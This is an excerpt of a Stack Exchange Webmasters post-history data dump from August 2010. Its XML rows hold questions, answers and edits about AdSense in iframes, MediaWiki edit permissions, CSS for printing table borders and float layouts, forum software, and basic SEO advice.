  <row Id="4986" PostHistoryTypeId="2" PostId="2573" RevisionGUID="eaff42f5-0c79-4aa1-acd1-372bba6733c1" CreationDate="2010-08-25T20:58:12.533" UserDisplayName="SJaak" Text="I realy dont know. Im also looking for a solution.&#xD;&#xA;Anybody?" />
  <row Id="4987" PostHistoryTypeId="10" PostId="1858" RevisionGUID="7f0bf520-db94-4146-b467-7186e2d9c300" CreationDate="2010-08-25T21:04:14.773" UserId="180" CloseReasonId="2" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="4988" PostHistoryTypeId="2" PostId="2574" RevisionGUID="e353499c-8449-48a6-af2b-1dadd13759d1" CreationDate="2010-08-25T21:06:00.823" UserId="1737" Text="This may not be the specific group you're looking for, but the [Hesketh group][1] pushes [**Progressive Enhancement**][2], which is based on making web pages work on all browser and under all conditions, including Javascript-disabled. They're not specifically *against* Javascript, just in favor of web pages working all the time.&#xD;&#xA;&#xD;&#xA;Somewhat related:  &#xD;&#xA;&#xD;&#xA; - [Unobtrusive Javascript][3]  &#xD;&#xA; -   [Graceful Degradation][4]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hesketh.com/publications/articles/progressive-enhancement-paving-the-way-for/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Progressive_enhancement&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Unobtrusive_JavaScript&#xD;&#xA;  [4]: http://www.xfront.com/progressive-enhancement-graceful-degradation/index.html" />
  <row Id="4989" PostHistoryTypeId="2" PostId="2575" RevisionGUID="cb57b365-54d6-4684-9210-b3b9a2fe2043" CreationDate="2010-08-25T22:06:15.640" UserId="1603" Text="**Structuralists** or the less flattering HTML Aryans - voiced their opinions in the news group &quot;comp.infosystems.www.authoring.html&quot; in the late 90's in a way similar to what you describe. This gave rise to heated debate, described here: http://webtips.dan.info/intro.html&#xD;&#xA;&#xD;&#xA;I haven't been able to locate any proponent sites, but here are some arguments against their position:&#xD;&#xA;&#xD;&#xA; - http://www.robotwisdom.com/web/structure.html&#xD;&#xA; - http://www.urban75.com/Mag/webrant.html&#xD;&#xA;" />
  <row Id="4990" PostHistoryTypeId="5" PostId="2575" RevisionGUID="8df359e6-c721-4281-a009-1120dcb6d399" CreationDate="2010-08-25T22:18:57.147" UserId="1603" Comment="added proponent link" Text="**Structuralists**, HTML Purist or the less flattering HTML Aryans - voiced their opinions in the news group &quot;comp.infosystems.www.authoring.html&quot; in the late 90's in a way similar to what you describe. This gave rise to heated debate, described here: http://webtips.dan.info/intro.html&#xD;&#xA;&#xD;&#xA;A proponent view is described here: http://www.alanflavell.org.uk/www/html-smac.html and here are some arguments against their position:&#xD;&#xA;&#xD;&#xA; - http://www.robotwisdom.com/web/structure.html&#xD;&#xA; - http://www.urban75.com/Mag/webrant.html&#xD;&#xA;" />
  <row Id="4991" PostHistoryTypeId="5" PostId="2508" RevisionGUID="f032d9bc-e736-4697-969a-aae87c8b23aa" CreationDate="2010-08-25T22:55:04.500" UserId="1714" Comment="added example code for adsense html/js inside iframe" Text="Yes, there is a way - using iframes. We do asynchronous loading of ad content on one of our customer's sites.&#xD;&#xA;&#xD;&#xA;You first have to contact Google for support of their ads in iframes (which was not widely available back when we built that site). You can then use JavaScript to trigger the loading of the AdSense iframe content, which is what we do.&#xD;&#xA;&#xD;&#xA;The solution is really straight forward once you have Google's iframe support.&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;Oliver&#xD;&#xA;&#xD;&#xA;**Edit:** Looks like - from the posts referenced by Virtuosi Media - this practice might not be welcome by Google...&#xD;&#xA;&#xD;&#xA;**Edit 2:**&#xD;&#xA;This is the code we use in the iframe. Try it out to see if it works, maybe even without specifically asking Google for support. Removed `type=&quot;text/javascript&quot; language=&quot;JavaScript&quot;` for better legibility:&#xD;&#xA;&#xD;&#xA;    &lt;head runat=&quot;server&quot;&gt;&#xD;&#xA;        &lt;script src=&quot;http://partner.googleadservices.com/gampad/google_service.js&quot;&gt;&#xD;&#xA;        &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;        &lt;script&gt;&#xD;&#xA;            GS_googleAddAdSenseService(&quot;ca-pub-YOURKEY&quot;);&#xD;&#xA;            GS_googleEnableAllServices();&#xD;&#xA;        &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;        &lt;!-- For this method, it is not necessary to define the slots in advance &#xD;&#xA;             and we do not use the FetchAds function --&gt;&#xD;&#xA;        &lt;script&gt;&#xD;&#xA;            GA_googleUseIframeRendering(true);    //&lt;%-- This indicates iframe rendering for all slots --%&gt;&#xD;&#xA;        &lt;/script&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;        &lt;form id=&quot;formAd&quot; runat=&quot;server&quot;&gt;&#xD;&#xA;            &lt;div&gt;&#xD;&#xA;                &lt;script&gt;&#xD;&#xA;                    GA_googleFillSlotWithSize(&quot;ca-pub-YOURKEY&quot;, &quot;AdSlotId&quot;,&#xD;&#xA;                                              iframeWidth, iframeHeight);&#xD;&#xA;                &lt;/script&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/form&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;&#xD;&#xA;We fill all of our slots through adslot ids, so we are not seeing any PSAs." />
  <row Id="4993" PostHistoryTypeId="2" PostId="2576" RevisionGUID="2dbad8fb-305c-48f3-a047-8e5897d1e8ad" CreationDate="2010-08-25T23:09:26.020" UserId="17" Text="There is one site worth a look called 5by5. http://5by5.tv/&#xD;&#xA;&#xD;&#xA;You would be interested in the big web show. http://5by5.tv/bigwebshow&#xD;&#xA;&#xD;&#xA;&quot;Hosted by Dan Benjamin and Jeffrey Zeldman.&#xD;&#xA;&#xD;&#xA;The Big Web Show features special guests and topics like web publishing, art direction, content strategy, typography, web technology, and more. It's everything web that matters.&quot;&#xD;&#xA;&#xD;&#xA;There a several others out there, I would check iTunes Podcasts.&#xD;&#xA;&#xD;&#xA;Also, there is a film coming out Life in Perpetual Beta http://lifeinperpetualbeta.com/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4994" PostHistoryTypeId="16" PostId="2576" RevisionGUID="2dbad8fb-305c-48f3-a047-8e5897d1e8ad" CreationDate="2010-08-25T23:09:26.020" UserId="-1" />
  <row Id="4995" PostHistoryTypeId="5" PostId="1127" RevisionGUID="fbe4628e-b718-4024-a6f7-93318b3274eb" CreationDate="2010-08-25T23:24:27.190" UserId="586" Comment="added 101 characters in body" Text="The last version that came out for [this plugin][1] is 3.3.2, and it's broken. Whenever I click &quot;Upgrade all my plugins&quot;, my openid gets broken and I can't login to Stack Overflow until I downgrade this plugin :)&#xD;&#xA;&#xD;&#xA;Is there an alternative ?&#xD;&#xA;&#xD;&#xA;Edit - I am looking mainly for OpenID **Provider** support. The Consumer support is nice to have.&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/openid/" />
  <row Id="4996" PostHistoryTypeId="5" PostId="1130" RevisionGUID="7277c6fc-a92c-448f-afd5-b746b1f87902" CreationDate="2010-08-25T23:28:50.293" UserId="586" Comment="added 87 characters in body" Text="The accepted answer to [this question][1] states that Adsense functions rather poorly. What is the alternative then?&#xD;&#xA;&#xD;&#xA;My site has about 400 daily visitors, 1.5 pages/visit - so I'm too small to manually approach any sponsor for an personal ad deal. What AdSense would work best?&#xD;&#xA;&#xD;&#xA;By 'best' I mostly mean &quot;make the most money&quot;, although usability is also a factor.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/621/adsense-is-it-worth-setting-up" />
  <row Id="4997" PostHistoryTypeId="5" PostId="2524" RevisionGUID="11e98f87-c8bb-4b75-802f-1d7d7e241a12" CreationDate="2010-08-25T23:44:09.410" UserId="113" Comment="added 117 characters in body" Text="IE is commonly known as the most problematic browser in terms of consistent look and feel. What are the most important IE rendering 'bugs'?&#xD;&#xA;&#xD;&#xA;Version specific things are fine, just mention that its version specific. &#xD;&#xA;&#xD;&#xA;EDIT: [partial duplicate][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/tagged/ie6-bug?sort=votes&amp;pagesize=50" />
  <row Id="4998" PostHistoryTypeId="10" PostId="1127" RevisionGUID="05cc7eb7-9dfc-4f5d-9dcd-3fc9261144da" CreationDate="2010-08-26T00:10:15.780" UserId="180" CloseReasonId="2" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="4999" PostHistoryTypeId="5" PostId="2523" RevisionGUID="358307b6-03b7-4c3e-8d3e-f838c1909ac0" CreationDate="2010-08-26T02:24:17.007" UserId="1064" Comment="Elaborating on MW user rights as requested" Text="I've used MediaWiki as a CMS on quite a few occasions, though my goal has been to publish (i.e. allow anyone else to view and only editors access to write) content but restrict edit access.&#xD;&#xA;&#xD;&#xA;To lock down write privileges:&#xD;&#xA;&#xD;&#xA;&gt; $wgGroupPermissions['*']['createaccount']&#xD;&#xA;&gt; = false; $wgGroupPermissions['*']['edit'] =&#xD;&#xA;&gt; false;&#xD;&#xA;&gt; $wgGroupPermissions['*']['editpage'] =&#xD;&#xA;&gt; false;&#xD;&#xA;&gt; $wgGroupPermissions['*']['edittalk'] =&#xD;&#xA;&gt; false;&#xD;&#xA;&gt; $wgGroupPermissions['*']['createpage']&#xD;&#xA;&gt; = false; $wgGroupPermissions['*']['createtalk']&#xD;&#xA;&gt; = false;&#xD;&#xA;&gt; &#xD;&#xA;&gt; $wgGroupPermissions['sysops']['createaccount']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['edit']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['editpage']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['edittalk']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['createpage']&#xD;&#xA;&gt; = true; $wgGroupPermissions['sysops']['createtalk']&#xD;&#xA;&gt; = true;&#xD;&#xA;&#xD;&#xA;... and allow use of raw HTML (highly desirable if you're using MW to publish):&#xD;&#xA;&#xD;&#xA;&gt; $wgRawHtml = true;&#xD;&#xA;&#xD;&#xA;Using basic user authentication supported by your webserver sounds like a reasonable way to prevent unauthorized parties from reading the content of your wiki, though there is probably no need to prevent people who are already authenticated from writing on your wiki (unless you have three tiers of privilege - i.e. no-read,no-write/read,no-write/read,write).&#xD;&#xA;&#xD;&#xA;Edit: For long-term use (and if you need to support a growing number of users' privileges) I think you'd be best-served to find a plugin which supports exactly what you're trying to do and/or customize your MW installation to handle user authentication for reading in addition to write access.&#xD;&#xA;&#xD;&#xA;Note that many of the existing MW plugins intended to prevent read access on specific pages have been plagued with &quot;bugs&quot; (i.e. a user could use the MW Export functionality to see the content of the page) because MW itself was never intended to include the feature in question - if you're hosting stuff no one else should see, you'll likely need to lock a lot of things down.&#xD;&#xA;&#xD;&#xA;One site you might be interested in would be [mwusers.com][1] - plenty of relevant discussion (including experience w/various strategies and plugins) there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Can you elaborate on the permissions that MW has built in?&#xD;&#xA;&#xD;&#xA;Bureaucrats (can promote user to sysop) &gt; Sysops (can protect and import pages, can ban users) &gt; Users (can read, write, and edit on default installation)&#xD;&#xA;&#xD;&#xA;Check out the [Help:Sysops and permissions][2] page at MediaWiki.org for further details on the default functionality and [Manual:User rights][3] for built-in MW configuration options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mwusers.com/forums/content.php&#xD;&#xA;  [2]: http://www.mediawiki.org/wiki/Help:Sysops_and_permissions&#xD;&#xA;  [3]: http://www.mediawiki.org/wiki/Manual:User_rights" />
  <row Id="5000" PostHistoryTypeId="2" PostId="2577" RevisionGUID="7bb708b9-c6d1-4024-9cf9-7a2e1adac3bf" CreationDate="2010-08-26T02:58:50.593" UserDisplayName="m-r Tarakanoff" Text="[Oxite (alpha)][1] is an open source, standards compliant, and extensible content management sample that can run anything from blogs to big web sites. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://visitmix.com/labs/oxite/" />
  <row Id="5001" PostHistoryTypeId="16" PostId="2577" RevisionGUID="7bb708b9-c6d1-4024-9cf9-7a2e1adac3bf" CreationDate="2010-08-26T02:58:50.593" UserId="-1" />
  <row Id="5002" PostHistoryTypeId="2" PostId="2578" RevisionGUID="348b43f4-9c45-4518-95ef-5340492592ea" CreationDate="2010-08-26T03:08:03.260" UserId="1558" Text="I'm just working at a website that is supposed to be printable.&#xD;&#xA;&#xD;&#xA;One problem I'm running into is that some table borders won't be printed, although they are correctly displayed on screen.&#xD;&#xA;&#xD;&#xA;I tried both Firefox and Chrome. Both display all table borders on screen, but omit some of the borders when printing.&#xD;&#xA;&#xD;&#xA;What do I need to do to get them printed?" />
  <row Id="5003" PostHistoryTypeId="1" PostId="2578" RevisionGUID="348b43f4-9c45-4518-95ef-5340492592ea" CreationDate="2010-08-26T03:08:03.260" UserId="1558" Text="How to prevent table borders from disappearing while printing?" />
  <row Id="5004" PostHistoryTypeId="3" PostId="2578" RevisionGUID="348b43f4-9c45-4518-95ef-5340492592ea" CreationDate="2010-08-26T03:08:03.260" UserId="1558" Text="&lt;print&gt;" />
  <row Id="5005" PostHistoryTypeId="2" PostId="2579" RevisionGUID="cbebdeae-9d70-4cb5-886d-10fe8aff8fbf" CreationDate="2010-08-26T06:11:35.077" UserId="180" Text="If you don't need to host it yourself, you could look at [Nabble][1].&#xD;&#xA;&#xD;&#xA;For self-hosting, the only one I've run across is [FUDforum][2], an open source PHP forum, but there must be others...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://n3.nabble.com/archive-your-mailing-list.html&#xD;&#xA;  [2]: http://fudforum.org/forum/" />
  <row Id="5006" PostHistoryTypeId="2" PostId="2580" RevisionGUID="cdbb3911-49f0-4dc6-b64b-982a1fd1f1f0" CreationDate="2010-08-26T06:58:25.483" UserId="1064" Text="Consider creating a [style sheet for print media][1] which utilizes the table's border property instead of cell spacing and background color - the following should generate a visible border when printing:&#xD;&#xA;&#xD;&#xA;    table {&#xD;&#xA;    	border:solid #000 !important;&#xD;&#xA;    	border-width:1px 0 0 1px !important;&#xD;&#xA;    }&#xD;&#xA;    th, td {&#xD;&#xA;    	border:solid #000 !important;&#xD;&#xA;    	border-width:0 1px 1px 0 !important;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/goingtoprint/" />
  <row Id="5007" PostHistoryTypeId="2" PostId="2581" RevisionGUID="8979411d-b15a-40bc-8ead-07b024ac9776" CreationDate="2010-08-26T10:32:13.337" UserId="55" Text="The contextual ads are on topic enough, but not exactly interesting:&#xD;&#xA;&#xD;&#xA;&gt; Persecutor, Joraga, Omnath&gt; Magic the Gathering Cards Check out&#xD;&#xA;&gt; our HUGE MTG Inventory Super Low&#xD;&#xA;&gt; Prices and Fast Shipping  &#xD;&#xA;&gt; &#xD;&#xA;&gt; Magic 2011 M11 Singles M11 2011 Core&#xD;&#xA;&gt; Set single from $0.24 Lowest Shipping&#xD;&#xA;&gt; to worldwide  &#xD;&#xA;&gt; &#xD;&#xA;&gt; Cheap Worldwake Singles Pre-Order WWK&#xD;&#xA;&gt; singles today, boxes, Abyssal&#xD;&#xA;&gt; Persecutor, Joraga, OmnathPersecutor, Joraga, Omnath&#xD;&#xA;&#xD;&#xA;The problem with contextual ads (this goes beyond just Google) is that they look like someone cut out a bunch of classifieds and taped them on your monitor. People going to your site are looking for answers to questions, some of them _might_ be enticed to cash in on a good deal if they actually noticed it.&#xD;&#xA;&#xD;&#xA;I would recommend Amazon / E-bay image links with the least amount of clutter as well as a mix of other affiliates. You might consider running your own ad server, such as OpenX to track and tweak your campaigns.&#xD;&#xA;&#xD;&#xA;Additionally, in my experience, ads that interrupt the content that the user came to see get far less attention than the non-irritating 200x200 square to the right. Did you try using image only ads in that location?" />
  <row Id="5008" PostHistoryTypeId="2" PostId="2582" RevisionGUID="bd376dc6-93c5-4f1b-aa84-4fb8e6e89d04" CreationDate="2010-08-26T10:39:48.867" UserId="55" Text="[Mail2Forum][1] is known to work well with Mailman and PHPBB. I believe it can also handle other systems like VBulletin, I'm not sure about Vanilla.&#xD;&#xA;&#xD;&#xA;I've never installed it, but I have dug through forums that used it to do what you are describing. I believe it also does a good job of handling attachments, if the forum is configured to support them.&#xD;&#xA;&#xD;&#xA;  [1]: http://mail2forum.com/" />
  <row Id="5009" PostHistoryTypeId="5" PostId="2582" RevisionGUID="dd9c1f24-9c1b-42b6-8912-fbd46eeb755d" CreationDate="2010-08-26T11:11:14.607" UserId="55" Comment="added 123 characters in body; added 88 characters in body" Text="[Mail2Forum][1] is known to work well with Mailman and PHPBB. I believe it can also handle other systems like VBulletin, I'm not sure about Vanilla.&#xD;&#xA;&#xD;&#xA;I've never installed it, but I have dug through forums that used it to do what you are describing. I believe it also does a good job of handling attachments, if the forum is configured to support them.&#xD;&#xA;&#xD;&#xA;Note: Don't expect perfect ordering in message threads, whatever way you go if users can sort replies by _their_ time. You can expect some messages to be dated 'tomorrow', depending on the usage of the list.&#xD;&#xA;&#xD;&#xA;  [1]: http://mail2forum.com/" />
  <row Id="5010" PostHistoryTypeId="2" PostId="2583" RevisionGUID="18435a05-2c33-4ce0-a7b6-97b7d1ff7cb6" CreationDate="2010-08-26T11:49:26.257" UserId="1724" Text="I have a music review web site, so when I'm online I'm always listening to some album, and have to visit band pages.  Having the web site automatically play music is one of the things that irritate me the most (one hell of a mess when you're already listening to something else.)  The background music should be an &quot;OPT-IN&quot; (not opt-out, not good enough) feature on web sites (I've seen a couple of those.)  If I want to hear a band's music, I expect them to have a &quot;samples&quot; section where I can go voluntarily.&#xD;&#xA;&#xD;&#xA;The same applies to those company web sites that have some spokesperson start chatting as soon as we land on their page.  That's extremely irritating.  Web sites should be silent unless I authorize them to talk/play music to me,  period." />
  <row Id="5011" PostHistoryTypeId="2" PostId="2584" RevisionGUID="68ba0cc8-a92b-48bc-ba47-939197cad243" CreationDate="2010-08-26T14:11:10.160" UserId="1745" Text="I always get asked questions by friends why my site doesn't search very well in Google, even though mine is better quality.&#xD;&#xA;&#xD;&#xA;How can I improve the searchability of my friend's site (drakesterling.com)?&#xD;&#xA;&#xD;&#xA;http:// www.sterlingcurrency.com.au/&#xD;&#xA;&#xD;&#xA;http:// www.bluesheet.com.au/&#xD;&#xA;&#xD;&#xA;http:// www.drakesterling.com/&#xD;&#xA;&#xD;&#xA;Any help is appreciated.&#xD;&#xA;" />
  <row Id="5012" PostHistoryTypeId="1" PostId="2584" RevisionGUID="68ba0cc8-a92b-48bc-ba47-939197cad243" CreationDate="2010-08-26T14:11:10.160" UserId="1745" Text="SEO - Website comparison - Why is this site so good?" />
  <row Id="5013" PostHistoryTypeId="3" PostId="2584" RevisionGUID="68ba0cc8-a92b-48bc-ba47-939197cad243" CreationDate="2010-08-26T14:11:10.160" UserId="1745" Text="&lt;seo&gt;" />
  <row Id="5014" PostHistoryTypeId="2" PostId="2585" RevisionGUID="30458a54-889d-416f-a0ea-d5d1bec395f0" CreationDate="2010-08-26T14:18:24.150" UserId="1744" Text="I want a list of rows that have the following look to them:&#xD;&#xA;&#xD;&#xA;    +------------------------#main-----------------------+&#xD;&#xA;    |                                                    |&#xD;&#xA;    |                                                    |&#xD;&#xA;    | +------+ Lorem ipsum dolor sit amet, consectetur   |&#xD;&#xA;    | | pic  | adipiscing elit. Phasellus commodo urna   |&#xD;&#xA;    | |      | vel est porttitor et laoreet enim         |&#xD;&#xA;    | +------+ pellentesque. Proin tristique tortor sit  |&#xD;&#xA;    |          amet magna ornare eleifend. Aliquam       |&#xD;&#xA;    |          placerat sapien vitae tellus mattis       |&#xD;&#xA;    |          euismod.                                  |&#xD;&#xA;    |                                                    |&#xD;&#xA;    | +------+ Lorem ipsum dolor sit amet, consectetur   |&#xD;&#xA;    | | pic  | adipiscing elit. Phasellus commodo urna   |&#xD;&#xA;    | |      | vel est porttitor et laoreet enim         |&#xD;&#xA;    | |      | pellentesque.                             |&#xD;&#xA;    | +------+                                           |&#xD;&#xA;    |                                                    |&#xD;&#xA;    | +------+ Lorem ipsum dolor sit amet, consectetur   |&#xD;&#xA;    | | pic  | adipiscing elit. Phasellus commodo urna   |&#xD;&#xA;    | +------+ vel est porttitor et laoreet enim         |&#xD;&#xA;    |          pellentesque.                             |&#xD;&#xA;    |                                                    |&#xD;&#xA;    |                                                    |&#xD;&#xA;    +----------------------------------------------------+&#xD;&#xA;&#xD;&#xA;I have all of the above in a _div id=&quot;main&quot;_. Each picture and text pair is in a _div class=&quot;ProdList&quot;_. As you can see above, the pictures will vary in height but not width. The text may or may not be higher than the picture. This is what's causing my problem. I want a 20px margin below each _.ProdList_ regardless of whether the picture or the paragraph is higher. The css below is giving perfect results as long as the text is higher than the picture. But, since I'm positioning the picture, the _.ProdList_ no longer worries about surrounding it. This causes the _.ProdList_ below to display over the picture if the picture above is higher than the text. I've tried re-positioning the text instead of the picture but I just get the opposite problem. How can I have the _.ProdList_ fully contain both the picture and the text?&#xD;&#xA;&#xD;&#xA;Here's the css I've tried:&#xD;&#xA;&#xD;&#xA;    #main {width: 600px; margin: 10px auto; border: 1px solid gray; padding: 20px;}&#xD;&#xA;    /*just a centered, fixed width area*/&#xD;&#xA;    &#xD;&#xA;    .ProdList {margin-bottom: 20px; position: relative;}&#xD;&#xA;    /*contains an image and a paragraph*/&#xD;&#xA;    &#xD;&#xA;    .ProdList p {margin-left: 110px;}&#xD;&#xA;    /*makes room for the picture*/&#xD;&#xA;    &#xD;&#xA;    .ProdList img {position: absolute;top: 0;}&#xD;&#xA;    /*moves the picture to the upper left of .ProdList*/&#xD;&#xA;&#xD;&#xA;Adding &quot;Clear: both&quot; doesn't seem to do any good either.&#xD;&#xA;&#xD;&#xA;Since this is technicaly tabular data I suppose I could use a table without angering the css gods too much but I'm sure this is possible. I'm just missing something.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5015" PostHistoryTypeId="1" PostId="2585" RevisionGUID="30458a54-889d-416f-a0ea-d5d1bec395f0" CreationDate="2010-08-26T14:18:24.150" UserId="1744" Text="div collapsing over repositioned element" />
  <row Id="5016" PostHistoryTypeId="3" PostId="2585" RevisionGUID="30458a54-889d-416f-a0ea-d5d1bec395f0" CreationDate="2010-08-26T14:18:24.150" UserId="1744" Text="&lt;css&gt;" />
  <row Id="5017" PostHistoryTypeId="2" PostId="2586" RevisionGUID="9149de77-d1d1-42d3-ada6-6d32feb7a66c" CreationDate="2010-08-26T14:46:39.620" UserId="1253" Text="I'm not going to do an SEO review of any websites as I prefer to get paid for that kind of work. And I think SEO reviews are a waste of time anyway. SEO is nothing more then a properly built website. If your site isn't search engine optimized, then it wasn't built properly in the first place and you have other issues to worry about other then search engine rankings.&#xD;&#xA;&#xD;&#xA;If you want to improve the search rankings of any site you need to make sure the website is:&#xD;&#xA;&#xD;&#xA; - Accessible (search engine are the ultimate accessibility deficient user)&#xD;&#xA; - Usable (thee asier it is to use your site for humans the easier it is for search engines, too)&#xD;&#xA; - Valid semantic markup (HTML that properly marks up content tells the search engines a lot about a page's content)&#xD;&#xA; - Good internal linking structure (this actually falls under usability but since it is so important I listed it separately. Make sure you interlink between your pages liberally but appropriately)&#xD;&#xA; - Quality content (if the content stinks no one is going to want to link to it)&#xD;&#xA;&#xD;&#xA;These points apply to every website and should be done regardless of SEO.&#xD;&#xA;&#xD;&#xA;If you don't know what some of those points mean then this is a good time to learn about them so you can build a better website. Better websites get better results. Both in SEO and generating revenue (however your site does that)." />
  <row Id="5018" PostHistoryTypeId="5" PostId="2586" RevisionGUID="f74708f4-0f89-4e68-b42f-751cc7f97a4d" CreationDate="2010-08-26T14:51:59.903" UserId="1253" Comment="added 5 characters in body; added 222 characters in body" Text="I'm not going to do an SEO review of any websites as I prefer to get paid for that kind of work. And I think SEO reviews are a waste of time anyway. SEO is nothing more then a properly built website. If a website isn't search engine optimized, then it wasn't built properly in the first place and the owner has other issues to worry about other then search engine rankings.&#xD;&#xA;&#xD;&#xA;If you want to improve the search rankings of any site you need to make sure the website is:&#xD;&#xA;&#xD;&#xA; - Accessible (search engine are the ultimate accessibility deficient user)&#xD;&#xA; - Usable (the easier it is to use your site for humans the easier it is for search engines, too)&#xD;&#xA; - Valid semantic markup (HTML that properly marks up content tells the search engines a lot about a page's content)&#xD;&#xA; - Good internal linking structure (this actually falls under usability but since it is so important I listed it separately. Make sure you interlink between your pages liberally but appropriately)&#xD;&#xA; - Quality content (if the content stinks no one is going to want to link to it)&#xD;&#xA;&#xD;&#xA;These points apply to every website and should be done regardless of SEO.&#xD;&#xA;&#xD;&#xA;If you don't know what some of those points mean then this is a good time to learn about them so you can build a better website. Better websites get better results. Both in SEO and generating revenue (however your site does that).&#xD;&#xA;&#xD;&#xA;(I wrote this [basic checklist for SitePoint][1] years ago. It still applies today as it is just fundamentals and they never really change).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/forums/showthread.php?t=182915#Section40" />
  <row Id="5019" PostHistoryTypeId="2" PostId="2587" RevisionGUID="05e2e771-2d4a-4e94-8d89-9c46e2847c92" CreationDate="2010-08-26T15:19:55.817" UserId="1746" Text="This works for me:&#xD;&#xA;&#xD;&#xA;    #main {width: 600px; margin: 10px auto; border: 1px solid gray; padding: 20px;}&#xD;&#xA;    &#xD;&#xA;    .ProdList {padding-bottom: 20px; float: left; clear: left; border:2px solid green}&#xD;&#xA;    /*contains an image and a paragraph*/&#xD;&#xA;    &#xD;&#xA;    .ProdList p {margin-left: 50px;float:left;}&#xD;&#xA;    /*makes room for the picture*/&#xD;&#xA;    &#xD;&#xA;    .ProdList img {float: left;width:100px}&#xD;&#xA;    /*moves the picture to the upper left of .ProdList*/&#xD;&#xA;&#xD;&#xA;The 'border' on the ProdList DIV is just so I can see the extents of the DIV to make sure it isn't collapsing. I often put a&#xD;&#xA;&#xD;&#xA;    div {&#xD;&#xA;       border: 1px solid red;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;at the bottom of my CSS files so I can uncomment it when I want to see where my DIVs are actually falling.&#xD;&#xA;&#xD;&#xA;The only tricky thing here is that since the image is not positioned absolute, the margin of the paragraph is now relative to the side of the image. If all of your image widths are the same, you can take out the width on the img (which stretches the images anyway - I just screengrabbed a few images of about the same width, but different heights." />
  <row Id="5020" PostHistoryTypeId="5" PostId="2587" RevisionGUID="d3fb22b5-f58c-4ca9-a0e7-20c8d5c1e4cd" CreationDate="2010-08-26T15:29:32.957" UserId="1746" Comment="added 349 characters in body" Text="This works for me:&#xD;&#xA;&#xD;&#xA;    #main {width: 600px; margin: 10px auto; border: 1px solid gray; padding: 20px;}&#xD;&#xA;    &#xD;&#xA;    .ProdList {&#xD;&#xA;         padding-bottom: 20px; &#xD;&#xA;         float: left; &#xD;&#xA;         clear: left; &#xD;&#xA;         width: 100%; &#xD;&#xA;         border:2px solid green&#xD;&#xA;    }&#xD;&#xA;    /*contains an image and a paragraph*/&#xD;&#xA;    &#xD;&#xA;    .ProdList p {&#xD;&#xA;         margin-left: 50px;&#xD;&#xA;         float:left;&#xD;&#xA;         width:60%;&#xD;&#xA;    }&#xD;&#xA;    /*makes room for the picture. Play with margin and width % for best fit*/&#xD;&#xA;    &#xD;&#xA;    .ProdList img {float: left;width:100px}&#xD;&#xA;    /*moves the picture to the upper left of .ProdList*/&#xD;&#xA;&#xD;&#xA;The 'border' on the ProdList DIV is just so I can see the extents of the DIV to make sure it isn't collapsing. I often put a&#xD;&#xA;&#xD;&#xA;    div {&#xD;&#xA;       border: 1px solid red;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;at the bottom of my CSS files so I can uncomment it when I want to see where my DIVs are actually falling.&#xD;&#xA;&#xD;&#xA;The only tricky thing here is that since the image is not positioned absolute, the margin of the paragraph is now relative to the side of the image. If all of your image widths are the same, you can take out the width on the img (which stretches the images anyway - I just screengrabbed a few images of about the same width, but different heights.&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;Added width: 100% to the ProdList div to make this work on IE7, the a width: 60% on the paragraph to make it work with both IE and Firefox. May still need tweeking." />
  <row Id="5021" PostHistoryTypeId="2" PostId="2588" RevisionGUID="01ff8c8f-47d5-4c09-8383-5d3343cb46cd" CreationDate="2010-08-26T16:13:18.573" UserId="1074" Text="At least one site was showing 50+ W3 errors...as John said this isn't the only measure of success, but I personally believe that meeting standards are vitally important as a professional web developer.  &#xD;&#xA;&#xD;&#xA;A quick scan of another site showed it had 583 records in Google...that's a LOT considering that many other sites might only have 15-20.  As for improving quality, that requires full SEO analysis as John said, something you either educate yourself about or pay to have done.&#xD;&#xA;&#xD;&#xA;Google Webmaster tools and Analytics are a good place to start.  Make sure the site is &quot;visible&quot; with webmaster tools and showing no errors.  Analytics will tell you where people are coming from, where they're going, and how they travel through.  Follow the patterns long enough and you'll figure out which pages need to be improved.&#xD;&#xA;&#xD;&#xA;I can't say enough about cross-promoting your sites via other media than just Google.  Bing just took over for Yahoo's search...have you used their analyzer tool yet?  How about social media?  To do a good job, you have to be persistent and consistent, posting inbound links (in a non-spam or annoying manner) regularly.  My most successful customers actually get more inbound links from other sites and social media than from Google, by a large margin....but they also never stop trying to improve either avenue.&#xD;&#xA;&#xD;&#xA;As I tell every potential client, there's no silver bullet.  It takes patience, work, and detail to be on top of the rankings. " />
